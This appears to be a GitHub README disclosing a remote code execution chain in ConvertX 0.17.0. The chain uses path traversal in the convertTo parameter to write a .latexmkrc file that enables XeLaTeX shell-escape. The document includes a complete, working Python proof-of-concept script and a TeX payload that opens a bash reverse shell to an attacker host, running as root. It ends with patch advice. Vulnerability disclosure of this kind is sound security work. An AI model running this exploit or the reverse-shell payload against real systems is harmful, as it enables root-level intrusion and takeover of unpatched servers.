Skip to content

nuiifornet/ConvertX-Vulnerability

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

10 Commits
 
 
 
 

Repository files navigation

ConvertX 0.17.0 Low-Privilege or Unauthenticated Remote Code Execution via convertTo Path Traversal and .latexmkrc Injection

Description

ConvertX through 0.17.0 contains a critical remote code execution chain exploitable by any authenticated user via HTTP requests only. The vulnerability combines three weaknesses:

  1. Path Traversal in convertTo parameter (src/converters/main.ts:166-174) — the convertTo value flows unsanitized through normalizeOutputFiletype() into newFileExt, which is directly concatenated into the output targetPath. An attacker can inject ../ sequences to write converter output to arbitrary filesystem locations.

  2. markitdown content passthrough (src/converters/markitdown.ts) — the markitdown converter writes its output directly to the attacker-controlled targetPath. When given a plain text input file, the output is the input text itself, allowing full content control.

  3. XeLaTeX shell-escape via .latexmkrc (src/converters/xelatex.ts) — latexmk 4.86 reads .latexmkrc from its current working directory (/app/). If the file contains $xelatex = 'xelatex -shell-escape %O %S';, subsequent XeLaTeX conversions execute \write18{} commands as root because the Docker container has no USER directive.

The full chain was verified on a live deployment — commands executed as uid=0(root), enabling reverse shells and arbitrary command execution inside the container.

Affected Product

Vulnerability Details

Submitter

Fklov

Root Cause 1 — Path Traversal in targetPath Construction

File: src/converters/main.ts:166-174

const fileTypeOrig = fileName.split(".").pop() ?? "";
const fileType = normalizeFiletype(fileTypeOrig);
const newFileExt = normalizeOutputFiletype(convertTo);       // ← convertTo = "../../../../.latexmkrc"
const newFileName = fileName.replace(                         // ← replaces extension with traversal
  new RegExp(`${fileTypeOrig}(?!.*${fileTypeOrig})`),
  newFileExt,                                                 // ← unsanitized path injection
);
const targetPath = `${userOutputDir}${newFileName}`;          // ← traverses to /app/.latexmkrc

normalizeOutputFiletype() does NOT strip / or .. characters:

// src/helpers/normalizeFiletype.ts
export const normalizeOutputFiletype = (filetype: string): string => {
  const lowercaseFiletype = filetype.toLowerCase();
  switch (lowercaseFiletype) { /* only handles known extensions */ }
  default: return lowercaseFiletype;  // ← "../../../../.latexmkrc" passes through
};

Key insight: filename "html" (no dot) — when the uploaded filename has no extension dot, fileTypeOrig equals the entire filename. The regex replacement then substitutes the entire filename with the traversal path, producing a clean ../ sequence with no intermediate directory:

fileName = "html"
fileTypeOrig = "html"
newFileExt = "../../../../.latexmkrc"
newFileName = "html".replace(/html/, "../../../../.latexmkrc")
            = "../../../../.latexmkrc"                          ← no intermediate dir!
targetPath  = "./data/output/2/12/" + "../../../../.latexmkrc"
            = "/app/.latexmkrc"

Root Cause 2 — markitdown Arbitrary Content Write

File: src/converters/markitdown.ts:17-18

execFile("markitdown", [filePath, "-o", targetPath], ...)
// ↑ writes output directly to attacker-controlled targetPath
// ↑ plain text input → plain text output (content passthrough)
// ↑ does NOT use convertTo as a format parameter — ideal for traversal

Root Cause 3 — XeLaTeX .latexmkrc Auto-Loading

File: src/converters/xelatex.ts:24-27

execFile(
  "latexmk",
  ["-xelatex", "-interaction=nonstopmode", `-output-directory=${outputPath}`, filePath],
  // No -no-shell-escape flag
  // No -r /dev/null (allow any .latexmkrc)
)

latexmk 4.86 loads .latexmkrc from CWD (/app/). The CWD is inherited from the Bun process. The converter selection is user-controllable via convert_to=pdf,xelatex:

// src/converters/main.ts:203-204
if (converterName) {
    converterFunc = properties[converterName]?.converter;
    // User-specified converter runs regardless of file extension
}

Exploitation Conditions

  • Authentication required in default deployments
  • No authentication required when ALLOW_UNAUTHENTICATED=true
  • Low-privilege users can achieve full root RCE

Complete Attack Flow

┌─────────────────────────────────────────────────────────┐
│ Step 1: Path Traversal → Write /app/.latexmkrc          │
├─────────────────────────────────────────────────────────┤
│ POST /upload  →  filename="html"                        │
│   content = "$xelatex = 'xelatex -shell-escape %O %S';" │
│                                                         │
│ POST /convert                                           │
│   convert_to = "../../../../.latexmkrc,markitDown"      │
│   file_names = ["html"]                                 │
│                                                         │
│ → markitdown writes output to /app/.latexmkrc           │
│ → content: $xelatex = 'xelatex -shell-escape %O %S';    │
└─────────────────────────────────────────────────────────┘
                          ↓
┌─────────────────────────────────────────────────────────┐
│ Step 2: Trigger XeLaTeX RCE via \write18                │
├─────────────────────────────────────────────────────────┤
│ POST /upload  →  filename="exploit.tex"                 │
│   content contains \write18{id > /tmp/pwned}            │
│                                                         │
│ POST /convert                                           │
│   convert_to = "pdf,xelatex"                            │
│   file_names = ["exploit.tex"]                          │
│                                                         │
│ → latexmk reads /app/.latexmkrc                         │
│ → xelatex -shell-escape -interaction=nonstopmode ...    │
│ → \write18{command} executes as root (uid=0)            │
└─────────────────────────────────────────────────────────┘

Proof of Concept

Complete HTTP PoC (Python)

import requests
import time

TARGET_BASE_URL = "http://target.com:3000"
ATTACKER_EMAIL = "fklov@fklov.com"
ATTACKER_PASSWORD = "fklov"
LATEXMKRC_FILENAME = "html"
LATEXMKRC_CONTENT = b"$xelatex = 'xelatex -shell-escape %O %S';\n"
TRAVERSAL_CONVERT_TO = "../../../../.latexmkrc,markitDown"
RCE_TEX_FILENAME = "exploit.tex"
RCE_TEX_CONTENT = rb'''\documentclass{article}
\begin{document}
\immediate\write18{bash -c 'exec bash -i >& /dev/tcp/ATTACKER_IP/4033 0>&1' &}
\end{document}'''
RCE_CONVERT_TO = "pdf,xelatex"

BASE = TARGET_BASE_URL
s = requests.Session()

# --- AUTH ---
s.post(f"{BASE}/login", data={"email": ATTACKER_EMAIL, "password": ATTACKER_PASSWORD})
s.get(f"{BASE}/")
print(f"jobId: {s.cookies.get('jobId')}")

# --- STEP 1: Write .latexmkrc via path traversal ---
# Filename "html" has no dot → entire name = fileTypeOrig → clean replacement
s.post(f"{BASE}/upload", files={"file": (LATEXMKRC_FILENAME, LATEXMKRC_CONTENT, "text/plain")})

s.post(f"{BASE}/convert", data={
    "convert_to": TRAVERSAL_CONVERT_TO,
    "file_names": '["html"]'
})
print("[✓] .latexmkrc written to /app/.latexmkrc")

time.sleep(2)

# --- STEP 2: Trigger RCE via XeLaTeX ---
s.post(f"{BASE}/upload", files={"file": (RCE_TEX_FILENAME, RCE_TEX_CONTENT, "application/x-tex")})
s.post(f"{BASE}/convert", data={
    "convert_to": RCE_CONVERT_TO,
    "file_names": '["exploit.tex"]'
})
print("[✓] RCE triggered")

Reverse Shell Payload

\documentclass{article}
\begin{document}
\immediate\write18{bash -c 'exec bash -i >& /dev/tcp/ATTACKER_IP/4033 0>&1' &}
\end{document}

Impact

Capability Status Details
Remote Code Execution ✅ root (uid=0) No USER directive in Dockerfile
Arbitrary File Write Path traversal to any writable location
Arbitrary File Read Via XeLaTeX \openin/\read primitives
Reverse Shell bash, curl, python3 available
Outbound Network Confirmed working
Persistence SSH key, crontab, source modification
Lateral Movement Cloud metadata, internal services

Reproduction Evidence

41c5adda258a6056c524016caf1c228e 903d376fd602b9706edfc695318dd50e

Patch Recommendation

Fix 1: Prevent Path Traversal in convertTo

Validate and canonicalize the generated output path before use.

const resolved = path.resolve(targetPath);

if (!resolved.startsWith(path.resolve(userOutputDir))) {
    throw new Error("Path traversal detected");
}

Additionally, reject /, , and .. sequences in convertTo / newFileExt.

Fix 2: Disable Dangerous XeLaTeX Features

// src/converters/xelatex.ts
execFile("latexmk", [
  "-xelatex",
  "-no-shell-escape",           // Blocks \write18 unconditionally
  "-r", "/dev/null",            // Ignore ALL .latexmkrc files
  "-interaction=nonstopmode",
  `-output-directory=${outputPath}`,
  filePath
]);

About

No description, website, or topics provided.

Resources

Stars

0 stars

Watchers

0 watching

Forks

Releases

No releases published

Packages

 
 
 

Contributors